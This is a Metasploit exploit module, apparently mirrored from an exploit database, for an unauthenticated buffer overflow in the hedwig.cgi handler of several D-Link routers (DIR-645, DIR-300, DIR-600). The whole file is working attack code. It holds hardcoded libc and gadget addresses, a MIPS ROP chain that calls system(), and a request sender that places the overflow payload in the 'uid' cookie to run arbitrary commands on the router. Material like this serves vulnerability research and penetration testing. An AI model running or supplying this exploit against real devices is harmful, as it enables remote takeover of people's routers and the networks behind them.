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# D-Link hedwig.cgi Buffer Overflow in Cookie Header

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho

def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header',
'Description' => %q{
This module exploits an anonymous remote code execution vulnerability on several D-Link
routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with
long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600
and the DIR645A1_FW103B11 firmware.
},
'Author' =>
[
'Roberto Paleari', # Vulnerability discovery
'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other
routers
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '95950'],
['EDB', '27283'],
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor
web site
['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'],
#vendor web site of router
['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory
],
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE,
'Targets' =>
[
[ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600',
{
'Offset' => 973,
'LibcBase' => 0x2aaf8000, # Router
#'LibcBase' => 0x40854000, # QEMU environment
'System' => 0x000531FF, # address of system
'CalcSystem' => 0x000158C8, # calculate the correct address of system
'CallSystem' => 0x000159CC, # call our system
}
]
],
'DisclosureDate' => 'Feb 08 2013',
'DefaultTarget' => 0))
end

def check
begin
res = send_request_cgi({
'uri' => "/hedwig.cgi",
'method' => 'GET'
})

if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /unsupported HTTP request/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Unknown
end

def exploit
print_status("#{peer} - Accessing the vulnerable URL...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end

print_status("#{peer} - Exploiting...")
execute_cmdstager(
:linemax => 200,
:concat_operator => " && "
)
end

def prepare_shellcode(cmd)
shellcode = rand_text_alpha_upper(target['Offset']) # padding
shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call
system)

# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
# .text:000159D0 21 28 60 02 move $a1, $s3 # not used
# .text:000159D4 21 30 20 02 move $a2, $s1 # not used
# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
# .text:000159DC 09 F8 20 03 jalr $t9 # call system
# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for
system

shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare
the parameter for system)

# .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget
# .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget
# .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the
right address

shellcode << rand_text_alpha_upper(16) # filler in front of our command
shellcode << cmd
end

def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)

begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/hedwig.cgi",
'cookie' => "uid=#{shellcode}",
'encode_params' => false,
'vars_post' => {
rand_text_alpha(4) => rand_text_alpha(4)
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2014-06-27]

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